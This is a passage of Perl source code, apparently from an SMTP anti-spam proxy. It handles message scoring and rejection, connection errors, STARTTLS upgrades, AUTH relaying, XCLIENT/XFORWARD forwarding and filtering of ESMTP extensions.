        && $this->{messagescore} <= $MessageScoringUpperLimit );

    return 0;
}


#
sub MessageScore {
    my ( $fh, $done ) = @_;
    my $this = $Con{$fh};
	return 1 if $this->{notspamtag};
    return 1 if $this->{relayok} && !$MessageScoringLocal;

    return 1 if $this->{spamfound};
    d("MessageScore - score: $this->{messagescore} - limit: $MessageScoringUpperLimit");
    $this->{prepend} = "[MessageScore]";
    $this->{prepend} = "[SpamBucket]" if $this->{addressedToSpamBucket};

    return if $this->{messagescore} <= $MessageScoringUpperLimit;
 	my $slok = $this->{allLovePBSpam} == 1;
 	return if $slMaxScore && $this->{messagescore} <= $slMaxScore && $slok;
	my $testmode = $msTestMode;

    $this->{messagereason} = 
      "Totalscore($this->{messagescore}) over MessageScoringUpperLimit";
	$this->{messagereason} = 
      "'$this->{addressedToSpamBucket}' in spamaddresses" if $this->{addressedToSpamBucket};
    $this->{newsletterre}		= '' if $this->{addressedToSpamBucket};
    
    my $mDoPenaltyMessage = $DoPenaltyMessage;
    $mDoPenaltyMessage = 1 if $DoPenaltyMessage == 4;
    $this->{tagmode} = 1 if $DoPenaltyMessage == 4;
 	$slok = 1 if $DoPenaltyMessage == 4;
   

	$testmode = $slok = 0 if $this->{addressedToSpamBucket};
    my $reply = $SpamError;                    
	$reply =~ s/REASON/$this->{messagereason}/go;
    $reply = replaceerror ($fh, $reply);
    $reply = "250 OK" if $this->{addressedToSpamBucket};
    my $log = $spamMSLog;
    $log = $spamBucketLog if $this->{addressedToSpamBucket};
    $Stats{spambucket}++ if $this->{addressedToSpamBucket};
    my $isdone = 0;

    delayWhiteExpire($fh);
    mlog( $fh, "[monitoring] -- $this->{messagereason} -- $this->{logsubject}", 1 ) if $DoPenaltyMessage == 2;
    return if $DoPenaltyMessage == 2;
    $Stats{msgscoring}++ if !$this->{addressedToSpamBucket} && !$slok;


    thisIsSpam($fh,$this->{messagereason},$log,$reply,$testmode,$slok, $done );
}




# kill the connection
# 
sub addSMTPfailed {
    my  $ip = shift;

    
    return if !$ip;
    return if matchIP( $ip, 'acceptAllMail',   0, 1 );
    my $ipnet = ipNetwork($ip, 1);
    d("addSMTPfailed : $ip");
	my $time = &timestring();
	$SMTPfailed{$ip} = $time;
	$SMTPfailed{$ipnet} = $time;

}

sub findSMTPfailed {
    my  $ip = shift;
    
    return 0 if !$ip;
	my $ipnet = ipNetwork($ip, 1);
    d("findSMTPfailed : $ip lookup");
	return $SMTPfailed{$ip} if exists $SMTPfailed{$ip};
	return $SMTPfailed{$ipnet} if exists $SMTPfailed{$ipnet};
	d("findSMTPfailed : $ip clean");
	return 0;
}
# kill the connection
sub killconnection {
    my ( $tmpfh) = @_;
    d("killconnection : $Con{$tmpfh}->{ip}");
    my $this = $Con{$tmpfh};
	&addSMTPfailed($Con{$tmpfh}->{ip});
	if ($Con{$tmpfh}->{getline} != \&error) {
          seterror($Con{$tmpfh}->{client},"451 Connection timeout, try later\r\n",1);
    } else {
          sendque($Con{$tmpfh}->{client},"451 Connection timeout, try later\r\n");
          $Con{$tmpfh}->{closeafterwrite} = 1;
          unpoll($Con{$tmpfh}->{client}, $readable);
    }
}
# reject the email
sub seterror {
    my($fh,$e,$done)=@_;
    d('seterror');

    my $this=$Con{$fh};
    $done = 1 if ($this->{lastcmd} !~ /^DATA/io &&       # end the connection if not send 250 and we are not in DATA part
                  ((! $send250OK && $this->{relayok}) ||
                  (($this->{ispip} || $this->{cip}) && ! $send250OKISP )));
    $done = 0 if ($this->{header} &&                    # receive the message if send 250 and we have still received data
                  $this->{header} !~ /\x0D?\x0A\.(?:\x0D?\x0A)+$/o  &&
                  $this->{lastcmd} =~ /^DATA/io &&
                  ($send250OK || (($this->{ispip} || $this->{cip}) && $send250OKISP )));
    $this->{error}=$e;
    $done = 1 if $e =~ /^4/o;          # end the connection if the error Reply starts with 4xx
    if($done) {
        error($fh,".\r\n");
    } else {
        $this->{getline}=\&error;
    }
# detatch the friend -- closing connection to server & disregarding message
#    done2($this->{friend});
}

# ignore what's sent & give reason at the end.
sub error {
    my ( $fh, $l ) = @_;
    d("error");
    my $this = $Con{$fh};
    $this->{headerpassed} = 1;
    my $tlit;
    if ( $l =~ /^\.[\r\n]*$/
        || defined( $this->{bdata} ) && $this->{bdata} <= 0 )
    {
		my $reply;
        if ($DelayError) {
            $reply = $DelayError;
        } else {
            $reply = "451 4.7.1 Please try again later";
        }

		if ($this->{error} =~ /^5[0-9][0-9]/o ) {
            $tlit = "[SMTP Error]";

            if ( $send250OK || ( ($this->{ispip} || $this->{cip}) && $send250OKISP )) {
                $this->{error} = "250 OK";
                $tlit = "[SMTP Reply]";
            }
        }
        
        $this->{error} =~ s/(?:\r?\n)+$//o;
        my $out = $this->{error} . "\r\n";
        if ($this->{error} =~ /^250/o) {
          if ($this->{lastcmd} =~ /^DATA/io && $this->{header}) {     # we have received data - now waiting for QUIT
            sendque($fh,$out);
            $this->{getline} = \&errorQuit;
          } elsif ($this->{lastcmd} =~ /^DATA/io && ! $this->{header}) {   # no data received - close connection
            sendque($fh,"$reply\r\n");
            $this->{closeafterwrite} = 1;
            unpoll($fh,$readable);
            done2($this->{friend}) if (! exists $ConDelete{$this->{friend}});
          } else {                                                  # we are not in DATA part - send 250 and close connection

            sendque($fh,$out);
            sendque($fh,"$reply\r\n");
            $this->{closeafterwrite} = 1;
            unpoll($fh,$readable);
            done2($this->{friend}) if (! exists $ConDelete{$this->{friend}});
          }
        } else {                                               # no 250 - send the error and close the connection
            
            sendque($fh,$out);


            $reply = '221 closing transmission' ;
            sendque($fh,"$reply\r\n") if $out !~ /^4/o;
            $this->{closeafterwrite} = 1;
            unpoll($fh,$readable);
            done2($this->{friend}) if (! exists $ConDelete{$this->{friend}});
        }
    }
    $this->{lastcmd} .= $this->{lastcmd} =~ /\(error\)/o ? '' : '(error)';
}
sub errorQuit {
    my ( $fh, $l ) = @_;
    d("errorQuit - $l");
    my $this = $Con{$fh};
    my $reply;
    my $dreply = "421 closing transmission";
    if ($l =~ /^QUIT/io) {
        $reply = '221 closing transmission';
    } elsif ($this->{ispip} && $l =~ /^(RSET|MAIL FROM:)/io) {
        mlog(0,"info: ISP '$this->{ip}' has sent '$1' after SPAM - processing next mail") if $ConnectionLog >= 2;
        $this->{getline} = \&getline;
        delete $this->{error};
        &getline($fh,$l);
        return;
    } else {
        $reply = $dreply;
    }
    sendque($fh,"$reply\r\n");
    $this->{closeafterwrite} = 1;
    unpoll($fh,$readable);
    $l =~ s/\r|\n//go;
    ($this->{lastcmd}) = $l =~ /([a-z]+\s?[a-z]*)/io;
    $this->{lastcmd} = $l unless $this->{lastcmd};
    push(@{$this->{cmdlist}},$this->{lastcmd}) if $ConnectionLog >= 2;
    # detatch the friend -- closing connection to server & disregarding message
    done2($this->{friend}) if (! exists $ConDelete{$this->{friend}});
}



# filter off the 250 OK noop response and go to reply
sub skipok {
    d('skipok');
    my ( $fh, $l ) = @_;
    if ( $l =~ /^250/ ) {
        $Con{$fh}->{getline} = \&reply;
    } else {
        reply(@_);
    }
}

# wait for a server Reply in case of XCLIENT/XFORWARD
sub skipevery {
    d('skipevery');
    my ($fh,$l)=@_;
    $Con{$fh}->{getline}=$Con{$fh}->{Xgetline} if $Con{$fh}->{Xgetline};
    $Con{$fh}->{Xgetline}->($fh,$Con{$fh}->{Xreply}) if $Con{$fh}->{Xgetline} && $Con{$fh}->{Xreply};
    delete $Con{$fh}->{Xgetline};
}


sub replyAUTH {
    my ($fh,$l)=@_;
    d('replyAUTH : ' . $l);
    my $friend = $Con{$Con{$fh}->{friend}};
    
    $Con{$friend}->{inerror} = ($l=~/^5[05][0-9]/o);
    $Con{$friend}->{intemperror} = ($l=~/^4\d{2}/o);
    if ($l=~/^(?:1|2|3)\d{2}/o) {
        delete $Con{$friend}->{inerror};
        delete $Con{$friend}->{intemperror};
    }
    
    if ($l =~ /^334\s*(.*)$/o) {
        $l = $1;
        if (defined @{$friend->{AUTHclient} . 'AUTHclient'} && @{$friend->{AUTHclient} . 'AUTHclient'}) {
            my $str = join ('', @{$friend->{AUTHclient} . 'AUTHclient'});
            $str .= "\r\n" if $str !~ /\r\n$/o;
            NoLoopSyswrite($fh,$str);
        } else {
            my @str = MIME::Base64::encode_base64(
                     $friend->{AUTHclient}->client_step(MIME::Base64::decode_base64($l), '')
                   );
            my $str = join ('', @str);
            $str .= "\r\n" if $str !~ /\r\n$/o;
            NoLoopSyswrite($fh,$str) if $str;
        }
    } elsif ($l =~ /^235/) {
        mlog($Con{$fh}->{friend}, "info: authentication successfull") if $SessionLog >= 2;
        undef @{$friend->{AUTHclient} . 'AUTHclient'};
        delete $friend->{AUTHclient};
        &getline($Con{$fh}->{friend},$friend->{sendAfterAuth});
        $Con{$fh}->{getline}=\&reply;
	 } else {
        $l =~ s/\r|\n//go;
        mlog($Con{$fh}->{friend}, "error: authentication failed ($l) - try to continue unauthenticated");
        undef @{$friend->{AUTHclient} . 'AUTHclient'};
        delete $friend->{AUTHclient};
        &getline($Con{$fh}->{friend},$friend->{sendAfterAuth});
        $Con{$fh}->{getline}=\&reply;
    }

}
# filter off the 220 OK response on STARTTLS command
sub replyTLS {
    d('replyTLS');
    my ($fh,$l)=@_;
    my $oldfh = "$fh";
    my $ssl;
    my $cli = $Con{$fh}->{friend};
    my $serIP=$fh->peerhost();
    my $ffr = $Con{$cli}->{TLSqueue};

    $Con{$cli}->{inerror} = ($l=~/^5[05][0-9]/o);
    $Con{$cli}->{intemperror} = ($l=~/^4\d{2}/o);
    if ($l=~/^(?:1|2|3)\d{2}/o) {
        delete $Con{$cli}->{inerror};
        delete $Con{$cli}->{intemperror};
    }

    if($l=~/^220/o) { # we can switch the server connection to TLS
        $IO::Socket::SSL::DEBUG = $SSLDEBUG;
        unpoll($fh,$readable);
        unpoll($fh,$writable);
        my $fail = 0;
        eval{eval{($ssl,$fh) = &switchSSLServer($fh);};
            if ("$ssl" !~ /SSL/io) {
              $fail = 1;
              mlog($fh, "error: Couldn't start TLS for server $serIP: ".IO::Socket::SSL::errstr());
              setSSLfailed($serIP);
              delete $Con{$fh}->{fakeTLS};
              &dopoll($fh,$readable,"POLLIN");
              &dopoll($fh,$writable,"POLLOUT");
              # process TLSqueue on client
              &getline($cli,$ffr);
              delete $Con{$cli}->{TLSqueue};
              $Con{$fh}->{getline}=\&reply;
            }
        };
        return if $fail;
        delete $SSLfailed{$serIP};
        addsslfh($oldfh,$ssl,$cli);
        $Con{$cli}->{friend} = $ssl;
        mlog($ssl,"info: started TLS-SSL session for server $serIP") if ($ConnectionLog >=2);
        delete $Con{$oldfh}->{fakeTLS};
        delete $Con{$ssl}->{fakeTLS};
        NoLoopSyswrite($ssl,"$Con{$cli}->{fullhelo}\r\n"); # send the ehlo again
        mlog($ssl,"info: sent EHLO again to $serIP") if ($ConnectionLog >=2);
        $Con{$ssl}->{getline}=\&replyTLS2;
    } else {  # STARTTLS rejected
    # process TLSqueue on client
        mlog($fh,"info: injected STARTTLS request rejected by $serIP") if $ConnectionLog >= 2;
        &getline($cli,"$ffr\r\n");
        delete $Con{$cli}->{TLSqueue};
        $Con{$fh}->{getline}=\&reply;
    }
}

sub replyTLS2 {
    d('replyTLS2');
    my ($fh,$l)=@_;
    d("lastReply2 = $l");
#    if (lc($l) eq lc($Con{$fh}->{lastEHLOreply}))
    my $cli = $Con{$fh}->{friend};

    $Con{$cli}->{inerror} = ($l=~/^5[05][0-9]/o);
    $Con{$cli}->{intemperror} = ($l=~/^4\d{2}/o);
    if ($l=~/^(?:1|2|3)\d{2}/o) {
        delete $Con{$cli}->{inerror};
        delete $Con{$cli}->{intemperror};
    }

    if ($l =~ /^250\s+/o) {
        my $ffr = $Con{$cli}->{TLSqueue};
        $Con{$fh}->{getline} = \&reply;
        &getline($cli,"$ffr\r\n");
        delete $Con{$cli}->{TLSqueue};
        my $serIP=$fh->peerhost().":".$fh->peerport();
        mlog($fh,"info: TLSQUEUE processed and cleared for $serIP") if ($ConnectionLog >=2);
    }
}
sub replyEHLO {
    d('replyEHLO');
    my ($fh,$l)=@_;
    my $this=$Con{$fh};
    my $cli=$this->{friend};
#    $this->{lastEHLOreply} = $l;
    d("lastReply3 = $l");

    $Con{$cli}->{inerror} = ($l=~/^5[05][0-9]/o);
    $Con{$cli}->{intemperror} = ($l=~/^4\d{2}/o);
    if ($l=~/^(?:1|2|3)\d{2}/o) {
        delete $Con{$cli}->{inerror};
        delete $Con{$cli}->{intemperror};
    }

    &reply($fh,$l) if ($l=~/^250[ \-]+STARTTLS/io ||
                       $l=~/^5/o ||
                       $l=~/^4/o ||
                       $l=~/^221/o);
    if (! $Con{$cli}->{relayok} && $l =~ /^250[ \-]+(XCLIENT|XFORWARD) +(.+)\s*\r\n$/io) {
        $Con{$cli}->{uc $1} = uc $2;   # 250-XCLIENT/XFORWARD NAME ADDR PORT PROTO HELO IDENT SOURCE
    }
    if ($l=~/^5/o ||
        $l=~/^4/o ||
        $l=~/^221/o)
    {
        $this->{getline} = \&reply;
    } else {
        if (! $this->{answertToHELO} && $l =~ /^250\s+/o) {  # we've got the EHLO Reply, now send 250 OK to the client
            if ((exists $Con{$cli}->{XCLIENT} || exists $Con{$cli}->{XFORWARD}) &&
                ( ($Con{$cli}->{mailInSession} > 0 && $Con{$cli}->{lastcmd} =~ /mail from/io) ||
                  ($Con{$cli}->{lastcmd} =~ /helo|ehlo/io)
                )
               )
            {
                $this->{Xgetline} = \&replyEHLO;
                $this->{Xreply} = "250 OK\r\n";
                return if replyX($fh,$cli,$fh->peerhost(),$Con{$cli}->{ip});
                delete $this->{Xgetline};
                delete $this->{Xreply};
            }
            $this->{answertToHELO} = 1;
            sendque($cli,"250 OK\r\n");
            return;
        }
        sendque($cli,$l) if $this->{Xreply};
    }
}

# messages from the server get relayed to the client
sub reply {
    my ( $fh, $l ) = @_;
    d('reply');
    my $this = $Con{$fh};
    return unless $this;
    my $cli = $this->{friend};
    return unless $cli;
    $l = decodeMimeWords($l) if ($l =~ /=\?[^\?]+\?[qb]\?[^\?]*\?=/io);
    $Con{$cli}->{inerror} = ($l=~/^5[05][0-9]/o);
    $Con{$cli}->{intemperror} = ($l=~/^4\d{2}/o);
    if ($l=~/^(?:1|2|3)\d{2}/o) {
        delete $Con{$cli}->{inerror};
        delete $Con{$cli}->{intemperror};
    }
	$this->{CanUseIOSocketSSLOK} = $CanUseIOSocketSSL;
	$this->{CanUseIOSocketSSLOK} = 0 if !$enableSSL;
    
   	if ($this->{CanUseIOSocketSSLOK}) {
   		if (!$Con{$cli}->{SSLnotOK} && (exists $SSLfailed{$Con{$cli}->{ip}} && $SSLCacheExp)) {

    		$this->{SSLnotOK} = $Con{$cli}->{ip};
    		mlog( $fh,"STARTTLS skipped, $Con{$cli}->{ip} found in error cache (SSLCacheExp)") if $SSLLog;
    	}
    	my $ipblock = ipNetwork($Con{$cli}->{ip}, 1);
    	if (!$Con{$cli}->{SSLnotOK} && (exists $SSLfailed{$ipblock} && $SSLCacheExp)) {

    		$this->{SSLnotOK} = $Con{$cli}->{ip};
    		mlog( $fh,"STARTTLS skipped, $Con{$cli}->{ip} found in error cache (SSLCacheExp)") if $SSLLog;
    	}
    	if (!$Con{$cli}->{SSLnotOK} && 

			&matchIP($Con{$cli}->{ip},'noTLSIP',$fh,1)) {

    		$this->{SSLnotOK} = $Con{$cli}->{ip};
    		mlog( $fh,"STARTTLS skipped, $Con{$cli}->{ip} found in noTLSIP") if $SSLLog >=2;
    	}
    	if (!$Con{$cli}->{SSLnotOK} && 

			&matchFH($cli,@lsnNoTLSI)) {

    		$this->{SSLnotOK} = $Con{$cli}->{ip};
    		mlog( $fh,"STARTTLS skipped, $Con{$cli}->{ip} found in NoTLSlistenPorts") if $SSLLog >=2;
    	}


    	$this->{CanUseIOSocketSSLOK} = 0 if $Con{$cli}->{SSLnotOK};
    } 

    
	
			 

    # we'll filter off the XEXCH50 service, as it only causes troubles
    # we'll filter off the CHUNKING directive to avoid BDAT problems.
    # we'll filter off the PIPELINING directive to avoid ... problems.

    # STARTTLS...
    #    we filter off the STARTTLS directive, but
    #    re-add an offer of STARTTLS to the client if we have SSL capability, and
    #    separately start SSL to the MTA if it is offered and we are capable
	if (! $Con{$cli}->{relayok} && $l =~ /^250[ \-]+(XCLIENT|XFORWARD) +(.+)\s*\r\n$/io) {
        $Con{$cli}->{uc $1} = uc $2;   # 250-XCLIENT/XFORWARD NAME ADDR PORT PROTO HELO IDENT SOURCE
    }
	if ( $l =~ /250-.*(VRFY|EXPN)/i  && $DisableVRFY && !$Con{$cli}->{relayok}) {
        return;
    } elsif ( $l =~ /250 .*(VRFY|EXPN)/i  && $DisableVRFY && !$Con{$cli}->{relayok}) {
        sendque( $cli, "250 NOOP\r\n" );
        return;
	} elsif ( $l =~ /250-.*AUTH/i  && $DisableAUTH && !$Con{$cli}->{relayok}) {
        return;
    } elsif ( $l =~ /250 .*AUTH/i  && $DisableAUTH && !$Con{$cli}->{relayok}) {
        sendque( $cli, "250 NOOP\r\n" );
        return;
    } elsif($l=~/250[- ].*?SIZE\s*(\d+)/io && $maxSize && $Con{$cli}->{relayok} && $1 > $maxSize) {
        my $size = $1;
        $l =~ s/$size/$maxSize/;
    } elsif($l=~/250[- ].*?SIZE\s*(\d+)/io && $maxSizeExternal && ! $Con{$cli}->{relayok} && $1 > $maxSizeExternal) {
        my $size = $1;
        $l =~ s/$size/$maxSizeExternal/;

    } elsif ( $l =~ /250-.*(CHUNKING|PIPELINING|XEXCH50|SMTPUTF8|
                     XCLIENT|XFORWARD|
                     TURN|ATRN|ETRN|TURNME|X-TURNME|XTRN|
                     SEND|SOML|SAML|EMAL|ESAM|ESND|ESOM|
                     XAUTH|XQUE|XREMOTEQUEUE|
                     X-EXPS|X-ADAT|X-DRCP|X-ERCP|EVFY|8BITMIME|BINARYMIME|BDAT|
                     AUTH GSSAPI|AUTH NTLM|X-LINK2STATE|STARTTLS|TLS)/i ) {
        $this->{mtaSSL} = 1 if ($l =~ /STARTTLS/i);
        return;
        
    } elsif ( $l =~ /250 .*(CHUNKING|PIPELINING|XEXCH50|SMTPUTF8|
                     XCLIENT|XFORWARD|
                     TURN|ATRN|ETRN|TURNME|X-TURNME|XTRN|
                     SEND|SOML|SAML|EMAL|ESAM|ESND|ESOM|
                     XAUTH|XQUE|XREMOTEQUEUE|
                     X-EXPS|X-ADAT|X-DRCP|X-ERCP|EVFY|8BITMIME|BINARYMIME|BDAT|
                     AUTH GSSAPI|AUTH NTLM|X-LINK2STATE|STARTTLS|TLS)/i ) {
        $this->{mtaSSL} = 1 if ($l =~ /STARTTLS/i);
		if ($Con{$cli}->{greeting} =~ /EHLO/i && $this->{CanUseIOSocketSSLOK}) {
            if ($this->{mtaSSL} && $fh !~ /IO::Socket::SSL/) {
                d("enabling SSL to MTA");
                $fh->write("STARTTLS\r\n");
            }
            if (!$Con{$cli}->{cliSSL} && $cli !~ /IO::Socket::SSL/) {
                d("injecting STARTTLS into client response");
                sendque( $cli, "250-STARTTLS\r\n" );
                $Con{$cli}->{cliSSL} = 1;
            }
        }
        sendque( $cli, "250 NOOP\r\n" );
        return;
        
    } elsif ($l =~ /^250 /) {
    	$this->{mtaSSL} = 1 if ($l =~ /STARTTLS/i);
        if ($Con{$cli}->{greeting} =~ /EHLO/i && $this->{CanUseIOSocketSSLOK}) {
            if ($this->{mtaSSL} && $fh !~ /IO::Socket::SSL/) {
                d("enabling SSL to MTA");
                $fh->write("STARTTLS\r\n");
            }
            if (!$Con{$cli}->{cliSSL} && $cli !~ /IO::Socket::SSL/) {
                d("injecting STARTTLS into client response");
                sendque( $cli, "250-STARTTLS\r\n" );
                $Con{$cli}->{cliSSL} = 1;
            }
        }     
   } elsif ($l =~ /^220 / && $this->{mtaSSL} && $CanUseIOSocketSSL
      && $fh !~ /IO::Socket::SSL/) {
        my $oldfh = "".$fh;
		$IO::Socket::SSL::DEBUG = $SSLDEBUG;
        # stop watching old filehandle
        $readable->remove($fh);
        $writable->remove($fh);

        # set flag to detect possible 554 failure message
        $this->{tryingSSL} = 1;

        # convert to SSL
        d("MTA SSL start");
        mlog($cli, "MTA offered STARTTLS - converting to SSL",1) if $SSLLog;
        my $ssl = IO::Socket::SSL->start_SSL($fh, SSL_server => 0, Timeout => $SSLtimeout);
        
        if (!$ssl || $fh !~ /IO::Socket::SSL/) {
            d("MTA SSL failed");
            mlog($cli,
                "SSL negotiation with MTA failed - problem with MTA's SSL configuration?",1
            ) if $SSLLog;
            #$readable->add($fh); # doesn't work - socket is now in unknown state
            $this->{mtaSSL} = 0;
            $this->{mtaSSLfailed} = 1;
            return;
        }
        d("MTA SSL ok");
        # success - clear flag - any 554 now is not SSL problem
        $this->{tryingSSL} = 0;

        # copy data from old $fh
        $Con{$fh} = $Con{$oldfh};
        $Con{$fh}->{client} = $fh;
        

        # clean up old $fh
        delete $Con{$oldfh};
        delete $SocketCalls{$oldfh};

        # set up new $fh
        $SocketCalls{$fh} = \&SMTPTraffic;
        $readable->add($fh);

        # must now resend EHLO greeting
        # then read and discard the MTA's response because the client
        # already has an EHLO response and doesn't know about this one
        sendque($fh, "EHLO $Con{$cli}->{helo}\r\n") if !$myHelo;
        sendque($fh, "EHLO $localhostname\r\n") if $myHelo == 2 && $localhostname;
        sendque($fh, "EHLO $myName\r\n") if $myHelo && ($myHelo == 1 or !$localhostname);
        $this->{getline} = \&dropreply;

        return;

    } elsif ( $l =~ /^220/ ) {
        sendque( $fh, $this->{noop} ) if $this->{noop};
        $this->{greetingSent} = 1;
        delete $this->{noop};
    } elsif($l=~/^\d{3}\-/o) {
        sendque($cli, $l);
        return;
    } elsif ( $l =~ /^235/ ) {

        # check for authentication response
        $Con{$cli}->{relayok} = 1;
        $Con{$cli}->{authenticated}=1;
        $Con{$cli}->{auth} = 1;
        $Con{$cli}->{passingreason} = "authenticated";
        d("$Con{$cli}->{ip}: authenticated");
        mlog( $cli, "authenticated",1 )
          if $this->{alllog}
              or $ValidateUserLog == 2;
    } elsif ( $l =~ /^354/ ) {
        d('reply - 354');
        
    } elsif($l=~/^535/o) {
        d('reply - 535');
        my $r = $l;
        $r =~ s/\r|\n//go;
        mlog($cli,"warning: SMTP authentication failed",1) if $ConnectionLog;
        if (!$Con{$cli}->{relayok} && ! &AUTHErrorsOK($cli)) {
            $Con{$cli}->{prepend}="[MaxAUTHErrors]";
            mlog($cli,"max sender authentication errors ($MaxAUTHErrors) exceeded -- dropping connection - after reply: $l",1);
            &NoLoopSyswrite($cli,$l);
            done($fh);
            return;
        }
    } elsif($Con{$cli}->{lastcmd} eq 'AUTH' && $l=~/^5/o) {
        d('reply - 5xx after AUTH');
        mlog($cli,"warning: SMTP authentication failed") if $ConnectionLog;
        if (!$Con{$cli}->{relayok} && ! &AUTHErrorsOK($cli)) {
            $Con{$cli}->{prepend}="[MaxAUTHErrors]";
            mlog($cli,"max sender authentication errors ($MaxAUTHErrors) exceeded -- dropping connection - after reply: $l",1);
            &NoLoopSyswrite($cli,$l);
            done($fh);
            return;
        }
    } elsif ( $l =~ /^50[0-9]/ ) {
        if ( $Con{$cli}->{skipbytes} ) {
            d("Resetting skipbytes");
            $Con{$cli}->{skipbytes} = 0
              ; # if we got a negative response from XEXCH50 then don't skip anything
        }
        if(++$this->{serverErrors} >= $MaxErrors ) {
            $this->{prepend} = "[MaxErrors]";
            mlog( $cli,
                "max errors (MaxErrors=$MaxErrors) exceeded -- dropping connection" );
            $Stats{msgMaxErrors}++;
            sendque( $cli, $l );
            done($fh);
            return;
        }
    } elsif($l=~/^550/) {
        my $r = $l;
        $r =~ s/\r|\n//g;
        mlog($cli,"warning: got reply '$r'") if $ConnectionLog >=2;
        if ($DoVRFY && !$Con{$cli}->{relayok} && $MaxVRFYErrors && ++$this->{maxVRFYErrors} > $MaxVRFYErrors) {
            $this->{prepend}="[MaxVRFYErrors]";
            mlog($cli,"max recipient verification errors ($MaxVRFYErrors) exceeded -- dropping connection - after reply: $l") if $ConnectionLog >=2;
            $Stats{msgMaxErrors}++;
            sendque( $cli, $l );
            done($fh);
            return;
   } elsif (!$Con{$cli}->{relayok} && $MaxErrors && ++$this->{serverErrors} > $MaxErrors) {
            $this->{prepend} = "[MaxErrors]";
            mlog($cli,"max errors (MaxErrors=$MaxErrors) exceeded -- dropping connection - after reply: $l") if $ConnectionLog >=2;
            $Stats{msgMaxErrors}++;
            sendque( $cli, $l );
            done($fh);
            return;
        }
    } elsif ( $l =~ /^554/ && $this->{tryingSSL} ) {
        # SSL negotiation with MTA failed
        d("554 SSL failure received from MTA");
        $this->{tryingSSL} = 0;
        $this->{mtaSSLfailed} = 1;
        return;
    } elsif ( $l =~ /^554/ && $this->{tryingSSL} ) {
        # SSL negotiation with MTA failed
        d("554 SSL failure received from MTA");
        $this->{tryingSSL} = 0;
        $this->{mtaSSLfailed} = 1;
        return;
    
   } elsif ($l=~/^(?:421|45[012])/o) {
        $Con{$cli}->{deleteMailLog} = 1 if $Con{$cli}->{lastcmd} =~ /data/io;
        my $r = $l;
        $r =~ s/\r|\n//go;
        if ($fh =~ /IO::Socket::SSL/) {
        	my $ipblock = ipNetwork($Con{$cli}->{ip}, 1);
        	$SSLfailed{$Con{$cli}->{ip}} = time() if $SSLCacheExp;
        	$SSLfailed{ipblock} = time() if $SSLCacheExp;
        } else {
        	my $time = &timestring();
           	$SMTPfailed{$Con{$cli}->{ip}} = $time if $Con{$cli}->{deleteMailLog};
        }
#        mlog($fh,"info: got reply '$r' - message is rejected by the server host",1) if $ConnectionLog && $Con{$cli}->{deleteMailLog};
        sendque($cli, $l);
		$Con{$cli}->{closeafterwrite} = 1;
        return;
   } elsif ($l=~/^221/o) {
        sendque($cli, $l);
        $Con{$cli}->{closeafterwrite} = 1;

        return;
	}
    # email report/list interface sends messages itself
    return
      if ( defined( $Con{$cli}->{reporttype} )
        && $Con{$cli}->{reporttype} >= 0 );
    return if $l =~ /^(?:\r\n)+$/o;
    sendque( $cli, $l );
}

sub replyX {
    my ($fh,$cli,$serIP,$cliIP) = @_;
    my $this = $Con{$fh};
    my $xinfo;
    my %seen;
    my $what = 'XCLIENT';
    $what = 'XFORWARD' if exists $Con{$cli}->{XFORWARD};
    d("info: sending $what info to $serIP");
    foreach (split(/\s+/o,$Con{$cli}->{$what})) {
        if (! $_ || ! defined *{'yield'} || exists $seen{$_}) {
            $seen{$_} = 1;
            next;
        } elsif ($_ eq 'NAME') {
            &sigoffTry(__LINE__);
            my $ptr = getRRData($cliIP,'PTR');
            &sigonTry(__LINE__);
            $ptr = 'localhost' if $cliIP =~ /(?:127\.0\.0\.1|::1)$/io;
            $ptr ||= '[UNAVAILABLE]';
            $xinfo .= " NAME=$ptr";
        } elsif ($_ eq 'ADDR') {
            $xinfo .= $cliIP ? " ADDR=$cliIP" : " ADDR=[UNAVAILABLE]";
        } elsif ($_ eq 'PORT') {
            $xinfo .= $Con{$cli}->{port} ? " PORT=$Con{$cli}->{port}" : " PORT=[UNAVAILABLE]";
        } elsif ($_ eq 'PROTO') {
            my $proto = (lc $Con{$cli}->{orghelo} eq 'ehlo') ? 'ESMTP' : 'SMTP';
            $proto .= 'S' if "$cli" =~ /SSL/io;
            $xinfo .= " PROTO=$proto";
        } elsif ($_ eq 'HELO') {
            $xinfo .= $Con{$cli}->{helo} ? " HELO=$Con{$cli}->{helo}" : " HELO=[UNAVAILABLE]";
        } elsif ($_ eq 'IDENT') {
            $xinfo .= $Con{$cli}->{msgtime} ? " IDENT=$Con{$cli}->{msgtime}" : " IDENT=[UNAVAILABLE]";
        } elsif ($_ eq 'SOURCE') {
            $xinfo .= $Con{$cli}->{acceptall} ? " SOURCE=LOCAL" : " SOURCE=REMOTE";
        } elsif ($_ eq 'LOGIN') {
            $xinfo .= $Con{$cli}->{userauth}{user} ? " LOGIN=$Con{$cli}->{userauth}{user}" : " LOGIN=[UNAVAILABLE]";
        } else {
            $xinfo .= " $_=[UNAVAILABLE]";
        }
        $seen{$_} = 1;
    }
    $Con{$cli}->{'save'.$what} = $Con{$cli}->{$what};
    delete $Con{$cli}->{$what};
    if ($xinfo) {
        $xinfo = "$what$xinfo";
        d("sent: $xinfo");
        mlog($cli,"info: sent - '$xinfo' to $serIP") if $ConnectionLog > 1;
        $this->{getline} = \&skipevery;
        sendque($fh, "$xinfo\r\n");
        delete $this->{isTLS};
        delete $Con{$cli}->{isTLS};
        return 1;
    }
    delete $this->{Xgetline};
    delete $this->{Xreply};
    return 0;
}
#################################################################################
#                Email Interface
# this mail isn't really a mail -- it's a spam/ham report
################################################################################
sub SpamReport {
    my($fh,$l)=@_;
    my $this=$Con{$fh};
	my $tmp = $l ;
	$tmp =~ s/\r|\n|\s//igo;
	$tmp =~ /^([a-zA-Z0-9]+)/o;
	if ($1) {
	    $this->{lastcmd} = substr($1,0,14);
        push(@{$this->{cmdlist}},$this->{lastcmd}) if $ConnectionLog >= 2;
    }
    if ( $l =~ /^ *DATA/i || $l =~ /^ *BDAT (\d+)/i ) {
        if ($1) {
            $this->{bdata} = $1;
        } else {
            delete $this->{bdata};
        }
        $this->{getline} = \&SpamReportBody;
        my $report = ( $this->{reporttype} == 0 ) ? "spam" : "ham";
        sendque( $fh, "354 OK Send $report body\r\n" );
        return;
    } elsif ( $l =~ /^ *RSET/i ) {
        stateReset($fh);
        $this->{getline} = \&getline;
        sendque( $this->{friend}, "RSET\r\n" );
        return;
    } elsif ( $l =~ /^ *QUIT/i ) {
        stateReset($fh);
        $this->{getline} = \&getline;
        sendque( $this->{friend}, "QUIT\r\n" );
        return;
    } elsif ( $l =~ /^ *XEXCH50 +(\d+)/i ) {
        d("XEXCH50 b=$1");
        sendque( $fh, "504 Need to authenticate first\r\n" );
